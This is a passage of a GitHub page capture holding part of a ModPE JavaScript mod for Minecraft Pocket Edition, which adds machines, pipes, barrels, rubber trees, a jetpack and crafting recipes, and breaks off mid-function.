2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&type=sparkline&w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> © 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{"category":"Footer","action":"go to terms","label":"text:terms"}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{"category":"Footer","action":"go to privacy","label":"text:privacy"}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{"category":"Footer","action":"go to security","label":"text:security"}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{"category":"Footer","action":"go to status","label":"text:status"}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{"category":"Footer","action":"go to contact","label":"text:contact"}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{"category":"Footer","action":"go to Pricing","label":"text:Pricing"}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{"category":"Footer","action":"go to api","label":"text:api"}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{"category":"Footer","action":"go to training","label":"text:training"}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{"category":"Footer","action":"go to blog","label":"text:blog"}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
GitHub Repo https://github.com/theherobrinehunter/Mod

theherobrinehunter/Mod

//Mod made by DAW330073 //http://www.minecraftforum.net/index.php?showtopic=2624956 //Update 1.3 //Added Drill var ex=[]; var wrenchEx=[]; var wrenchIm=[]; var wrenchFrqs=[]; var lastItem; var lastChestPart; var actualHealth; var lastY; var velY; var linking=false; var ButtonDown=false; var wrenchMode="linking"; var uBlocks=[]; var tickCounter=0; var bookOpened=false; var guidePage=0; var pBlocks=[]; var mBlocks=[]; var mBlocksSlots={"none":[0,0,0,0]}; var mBlocksProgress={"none":0}; var poweredBlocks=[]; var grinded={13:318,4:12,12:13}; var loaded=false; var display=new android.util.DisplayMetrics(); com.mojang.minecraftpe.MainActivity.currentMainActivity.get().getWindowManager().getDefaultDisplay().getMetrics(display); Block.defineBlock(180,"Barrel",[["itemframe_background",0],["piston_top_normal",0],["log",0],["log",0],["log",0],["log",0]],17,false,0); Block.setDestroyTime(180,2); Item.addCraftRecipe(180,1,0,[17,7,0,158,1,0]); Item.setCategory(180,8,0); Block.defineBlock(181,"Extraction item pipe","piston_inner",20,false,0); Block.setColor(181,[0xCC6600]); Block.setDestroyTime(181,0.45); Item.addCraftRecipe(181,1,0,[182,1,0,331,2,0]); Item.setCategory(181,8,0); Block.defineBlock(182,"Item pipe","piston_inner",20,false,0); Block.setDestroyTime(182,0.45); Item.addCraftRecipe(182,1,0,[463,6,0,20,3,0]); Item.setCategory(182,8,0); Block.defineBlock(183,"Cobblestone generator",[["stonecutter",2],["stonecutter",2],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(183,0.45); Item.addCraftRecipe(183,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(183,8,0); Block.defineBlock(184,"Farmer",[["stonecutter",2],["hayblock",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(184,0.45); Item.addCraftRecipe(184,1,0,[265,3,0,294,1,0,463,5,0]); Item.setCategory(184,8,0); Block.defineBlock(188,"Tree farmer",[["stonecutter",2],["planks",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(188,0.45); Item.addCraftRecipe(188,1,0,[265,3,0,268,1,0,463,5,0]); Item.setCategory(188,8,0); ModPE.setItem(460,"sign",0,"wrench",1); ModPE.langEdit("item.wrench.name","Linking Wrench"); Item.addCraftRecipe(460,1,0,[264,4,0]); Item.setCategory(460,2,0); ModPE.langEdit("item.bootsChain.name","G-Defy Boots"); Item.addCraftRecipe(305,1,0,[463,4,0]); Item.setCategory(305,2,0); ModPE.langEdit("item.chestplateChain.name","Jetpack"); Item.addCraftRecipe(303,1,0,[265,5,0,463,1,0,331,2,0]); Item.setCategory(303,2,0); ModPE.langEdit("item.helmetChain.name","HUD"); Item.addCraftRecipe(302,1,0,[265,5,0,331,1,0]); Item.setCategory(302,2,0); Block.defineBlock(191,"Stone generator",[["stonecutter",2],["stone",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(191,0.45); Item.addCraftRecipe(191,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(191,8,0); Block.defineBlock(192,"Obsidian generator",[["stonecutter",2],["obsidian",0],["stonecutter",3],["stonecutter",3],["stonecutter",3],["stonecutter",3]],20,false,0); Block.setDestroyTime(192,0.45); Item.addCraftRecipe(192,1,0,[20,2,0,257,1,0,1,6,0]); Item.setCategory(192,8,0); ModPE.setItem(461,"book_written",0,"guide",1); ModPE.langEdit("item.guide.name","ExtendedCraft Guide"); Item.addCraftRecipe(461,1,0,[340,1,0]); Item.setCategory(461,2,0); Block.defineBlock(193,"Solar Panel",[["coal_block",0],["redstone_lamp_off",0],["coal_block",0],["coal_block",0],["coal_block",0],["coal_block",0]],20,false,0); Block.setShape(193,0,0,0,1,0.2,1); Block.setDestroyTime(193,0.45); Item.addCraftRecipe(193,1,0,[102,3,0,194,3,0,265,3,0]); Item.setCategory(193,8,0); Block.defineBlock(194,"Wire",[["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6],["quartz_block",6]],20,false,0); Block.setColor(194,[0xCC6633]); Block.setDestroyTime(194,0.45); Item.addCraftRecipe(194,1,0,[463,6,0,265,3,0]); Item.setCategory(194,8,0); ModPE.setItem(462,"painting",0,"powerMeter",1); ModPE.langEdit("item.powerMeter.name","Power Meter"); Item.addCraftRecipe(462,1,0,[331,5,0,194,3,0,323,1,0]); Item.setCategory(462,2,0); Block.defineBlock(195,"Grinder",[["iron_block",0],["iron_block",0],["furnace",2],["furnace",2],["furnace",2],["furnace",2]],20,false,0); Block.setDestroyTime(195,0.45); Item.addCraftRecipe(195,1,0,[194,2,0,199,1,0]); Item.setCategory(195,8,0); Block.defineBlock(196,"Rubber Sapling","sapling",6,false,1); Block.setColor(196,[0x85C272]); Block.setDestroyTime(196,0.1); Block.defineBlock(197,"Rubber Wood",[["log",5],["log",5],["log",4],["log",4],["log",4],["log",4]],17,false,0); Block.setColor(197,[0x5C3E33]); Block.setDestroyTime(197,2); Block.defineBlock(198,"Rubber Leaves",[["leaves",7],["leaves",7],["leaves",7],["leaves",7],["leaves",7],["leaves",7]],18,false,0); Block.setColor(198,[0x61845B]); Block.setDestroyTime(198,0.2); ModPE.setItem(463,"slimeball",0,"rubber",64); ModPE.langEdit("item.rubber.name","Rubber"); Item.addFurnaceRecipe(197,463,0); Block.defineBlock(199,"Machine Block","iron_block",20,false,0); Block.setDestroyTime(199,0.4); Item.addCraftRecipe(199,1,0,[265,8,0]); Block.defineBlock(200,"Drill",[["iron_block",0],["iron_block",0],["stonecutter",2],["stonecutter",2],["stonecutter",2],["stonecutter",2]],20,false,0); Block.setDestroyTime(200,0.45); Item.addCraftRecipe(200,1,0,[278,1,0,199,2,0,265,2,0,194,3,0]); Item.setCategory(200,8,0); Block.defineBlock(201,"drill",[["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3],["quartz_block",3]],20,false,7); Block.setColor(201,[0x999999]); Block.setShape(201,0.4,0,0.4,0.6,1,0.6); function procCmd(cmd){ switch(cmd){ case "day": Level.setTime(0); break; case "kill": Player.setHealth(0); break; case "rubber": GrowTree(parseInt(Player.getX()),parseInt(Player.getY())-1,parseInt(Player.getZ())); break; } } function modTick(){ if(lastItem!=Player.getCarriedItem() && (lastItem==460 || Player.getCarriedItem()==460)){ if(lastItem==460) HideWrenchGUI(); else ShowWrenchGUI(); } if(lastItem!=Player.getCarriedItem() && (lastItem==461 || Player.getCarriedItem()==461)){ if(lastItem==461) HideGuideGUI(); else ShowGuideGUI(); } lastItem=Player.getCarriedItem(); if(lastChestPart!=Player.getArmorSlot(1) && (lastChestPart==303 || Player.getArmorSlot(1)==303)){ if(lastChestPart==303) HideJetpackGUI(); else ShowJetpackGUI(); } lastChestPart=Player.getArmorSlot(1); velY=(Player.getY()-lastY)/(1/20); lastY=Player.getY(); if(Player.getArmorSlot(3)==305){ if(Entity.getHealth(Player.getEntity())<=25) actualHealth=Entity.getHealth(Player.getEntity()); if(velY<-12 && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-12,parseInt(Player.getZ()))!=0) Player.setHealth(Entity.getHealth(Player.getEntity())-velY); if(velY>-3 && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-2,parseInt(Player.getZ()))!=0) Player.setHealth(actualHealth); } if(ButtonDown){ if(velY<0) Entity.setVelY(Player.getEntity(),0); if(velY>=0 && velY<0.6) Entity.setVelY(Player.getEntity(),velY+0.006); if(velY>=0.6) Entity.setVelY(Player.getEntity(),0.6); } tickCounter++; if(tickCounter==40){ renderHelmetGUI(); tickCounter=0; if(ex.length>0){ for(var i=0;i<ex.length;i++){ if(Level.getTile(ex[i][0],ex[i][1],ex[i][2])==181){ var sides=[[ex[i][0],ex[i][1]-1,ex[i][2]],[ex[i][0],ex[i][1]+1,ex[i][2]],[ex[i][0],ex[i][1],ex[i][2]-1],[ex[i][0],ex[i][1],ex[i][2]+1],[ex[i][0]-1,ex[i][1],ex[i][2]],[ex[i][0]+1,ex[i][1],ex[i][2]]]; var cx,cy,cz; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==54 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==61 || Level.getTile(sides[j][0],sides[j][1],sides[j][2])==62){ cx=sides[j][0]; cy=sides[j][1]; cz=sides[j][2]; break; } else if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==180){ var sides=[[sides[j][0],sides[j][1]-1,sides[j][2]],[sides[j][0],sides[j][1]+1,sides[j][2]],[sides[j][0],sides[j][1],sides[j][2]-1],[sides[j][0],sides[j][1],sides[j][2]+1],[sides[j][0]-1,sides[j][1],sides[j][2]],[sides[j][0]+1,sides[j][1],sides[j][2]]]; for(var k=0;k<6;k++){ if(Level.getTile(sides[k][0],sides[k][1],sides[k][2])==68 && Level.getSignText(sides[k][0],sides[k][1],sides[k][2],0)=="Barrel"){ cx=sides[k][0]; cy=sides[k][1]; cz=sides[k][2]; break; } } } } MoveItems([cx,cy,cz],FindChest(ex[i][0],ex[i][1],ex[i][2]),1); } else ex.splice(i,1); } } if(wrenchEx.length>0){ for(var i=0;i<wrenchEx.length;i++){ if(wrenchFrqs[i]==1) MoveItems(wrenchEx[i],wrenchIm[i],1); } } if(uBlocks.length>0){ for(var i=0;i<uBlocks.length;i++){ if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==183) //Cobblestone Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],4,0,1); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==184) //Seeds Farmer(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],2); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==188) //Trees TreeFarmer(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],2); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==191) //Stone Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],1,0,1); else if(Level.getTile(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2])==192) //Obsidian Generator(uBlocks[i][0],uBlocks[i][1],uBlocks[i][2],49,0,1); else uBlocks.splice(i,1); } } CheckTheWires(); } if(!loaded && Level.getTile(parseInt(Player.getX()),parseInt(Player.getY())-2,parseInt(Player.getZ()))!=0){ if(Level.getTile(1,1,1)!=197){ for(var i=0;i<Math.floor(Math.random()*11)+15;i++){ var x=Math.floor(Math.random()*245)+10; var z=Math.floor(Math.random()*245)+10; var y=FindHighestY(x,z); if(Level.getTile(x,y,z)==2) GrowTree(x,y+1,z); } Level.setTile(1,1,1,197); } loaded=true; } Machines(); } function useItem(x,y,z,itemID,blockID,side){ if(blockID==196 && itemID==351 && Player.getCarriedItemData()==15) GrowTree(x,y,z); if(itemID==462){ preventDefault(); if(InArray([x,y,z],poweredBlocks)) clientMessage("Power flowing."); else clientMessage("No power."); } if(itemID==195 || itemID==200){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],mBlocks)){ mBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); if(itemID==195){ if(!mBlocksSlots[sides[side][0]+","+sides[side][1]+","+sides[side][2]]) mBlocksSlots[sides[side][0]+","+sides[side][1]+","+sides[side][2]]=[0,0,0,0]; if(!mBlocksProgress[sides[side][0]+","+sides[side][1]+","+sides[side][2]]) mBlocksProgress[sides[side][0]+","+sides[side][1]+","+sides[side][2]]=0; } } } if(blockID==195 || blockID==200){ preventDefault(); if(!InArray([x,y,z],mBlocks)){ mBlocks.push([x,y,z]); if(blockID==195){ if(!mBlocksSlots[x+","+y+","+z]) mBlocksSlots[x+","+y+","+z]=[0,0,0,0]; if(!mBlocksProgress[x+","+y+","+z]) mBlocksProgress[x+","+y+","+z]=0; } } if(blockID==195) ShowMachineGUI(x+","+y+","+z); } if(itemID>192 && itemID<195){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],pBlocks)) pBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); } if(blockID>192 && blockID<195){ if(!InArray([x,y,z],pBlocks)) pBlocks.push([x,y,z]); } CheckTheWires(); if(Player.getArmorSlot(0)==302) renderHelmetGUI(); if(itemID>182 && itemID<193){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,itemID,0); if(!InArray([x,y,z],uBlocks)) uBlocks.push([sides[side][0],sides[side][1],sides[side][2]]); } if(blockID>182 && blockID<193){ if(!InArray([x,y,z],uBlocks)) uBlocks.push([x,y,z]); } if(itemID==181){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; PlaceBlock(x,y,z,side,181,0); x=sides[side][0]; y=sides[side][1]; z=sides[side][2]; var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if((Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) && !InArray(sides[i],ex)){ ex.push([x,y,z]); break; } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ ex.push([x,y,z]); break; } } break; } } } if(blockID==181){ var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; for(var i=0;i<6;i++){ if((Level.getTile(sides[i][0],sides[i][1],sides[i][2])==54 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==61 || Level.getTile(sides[i][0],sides[i][1],sides[i][2])==62) && !InArray(sides[i],ex)){ ex.push([x,y,z]); break; } else if(Level.getTile(sides[i][0],sides[i][1],sides[i][2])==180){ sides=[[sides[i][0],sides[i][1]-1,sides[i][2]],[sides[i][0],sides[i][1]+1,sides[i][2]],[sides[i][0],sides[i][1],sides[i][2]-1],[sides[i][0],sides[i][1],sides[i][2]+1],[sides[i][0]-1,sides[i][1],sides[i][2]],[sides[i][0]+1,sides[i][1],sides[i][2]]]; for(var j=0;j<6;j++){ if(Level.getTile(sides[j][0],sides[j][1],sides[j][2])==68 && Level.getSignText(sides[j][0],sides[j][1],sides[j][2],0)=="Barrel"){ ex.push([x,y,z]); break; } } break; } } } if(itemID==180 && blockID!=68){ preventDefault(); var sides=[[x,y-1,z],[x,y+1,z],[x,y,z-1],[x,y,z+1],[x-1,y,z],[x+1,y,z]]; var finalPos=[sides[side][0],sides[side][1],sides[side][2]]; if(side!=1) var sides=[[sides[side][0],sides[side][1]+1,sides[side][2]],[sides[side][0],sides[side][1]-1,sides[side][2]],[sides[side][0],sides[side][1],sides[side][2]-1],[sides[side][0],sides[side][1],sides[side][2]+1],[sides[side][0]-1,sides[side][1],sides[side][2]],[sides[side][0]+1,sides[side][1],sides[side][2]]]; else{ var rot=getYaw(); if(rot<0) rot=-rot; while(rot>=360) rot-=360; if(rot>=45 && rot<=135) side=2; if(rot>=135 && rot<=225) side=3; if(rot>=225 && rot<=315) side=4; if((rot>0 && rot<=45) || (rot>=315 && rot<=360)) side=5; var sides=[[finalPos[0],finalPos[1]-1,finalPos[2]],[finalPos[0],finalPos[1]+1,finalPos[2]],[finalPos[0],finalPos[1],finalPos[2]-1],[finalPos[0],finalPos[1],finalPos[2]+1],[finalPos[0]-1,finalPos[1],finalPos[2]],[finalPos[0]+1,finalPos[1],finalPos[2]]]; } if(Level.getTile(finalPos[0],finalPos[1],finalPos[2])==0 && Level.getTile(sides[side][0],sides[side][1],sides[side][2])==0){ Level.setTile(finalPos[0],finalPos[1],finalPos[2],180,0); Level.setTile(sides[side][0],sides[side][1],sides[side][2],68,side); Level.setSignText(sides[side][0],sides[side][1],sides[side][2],0,"Barrel"); Level.setSignText(sides[side][0],sides[side][1],sides[side][2],3,"Barrel"); if(Player.getCarriedItemCount()>1) Entity.setCarriedItem(Player.getEntity(),Player.getCarriedItem(),Player.getCarriedItemCount()-1,Player.getCarriedItemData()); else{ for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } } } if(blockID==68 && itemID!=460){ preventDefault(); var sides=[[x,y+1,z],[x,y-1,z],[x,y,z+1],[x,y,z-1],[x+1,y,z],[x-1,y,z]]; if(Player.getCarriedItem()!=0) var name=GetItemBlockName(Player.getCarriedItem()+":"+Player.getCarriedItemData()); else var name="hand"; if(name!="hand" && Level.getSignText(x,y,z,0)=="Barrel" && Level.getSignText(x,y,z,3)=="Barrel" && Level.getTile(sides[Level.getData(x,y,z)][0],sides[Level.getData(x,y,z)][1],sides[Level.getData(x,y,z)][2])==180){ Level.setSignText(x,y,z,3,Player.getCarriedItem()+":"+Player.getCarriedItemData()); Level.setSignText(x,y,z,1,name); if(Player.getCarriedItemCount()==64) Level.setSignText(x,y,z,2,"1x64+0"); else Level.setSignText(x,y,z,2,"0x64+"+Player.getCarriedItemCount()); for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && Player.getInventorySlotData(i)==Player.getCarriedItemData() && Player.getInventorySlotCount(i)==Player.getCarriedItemCount()){ Player.clearInventorySlot(i); break; } } } else if(name!="hand" && Level.getSignText(x,y,z,0)=="Barrel" && Level.getSignText(x,y,z,1)==name && Level.getTile(sides[Level.getData(x,y,z)][0],sides[Level.getData(x,y,z)][1],sides[Level.getData(x,y,z)][2])==180){ var itemCount=64*parseInt(Level.getSignText(x,y,z,2).split("x")[0])+parseInt(Level.getSignText(x,y,z,2).split("+")[1]); if(itemCount<4096 && itemCount+Player.getCarriedItemCount()<=4096){ itemCount+=Player.getCarriedItemCount(); Level.setSignText(x,y,z,2,parseInt(itemCount/64)+"x64+"+(itemCount-parseInt(itemCount/64)*64)); for(var i=0;i<9;i++){ if(Player.getInventorySlot(i)==Player.getCarriedItem() && 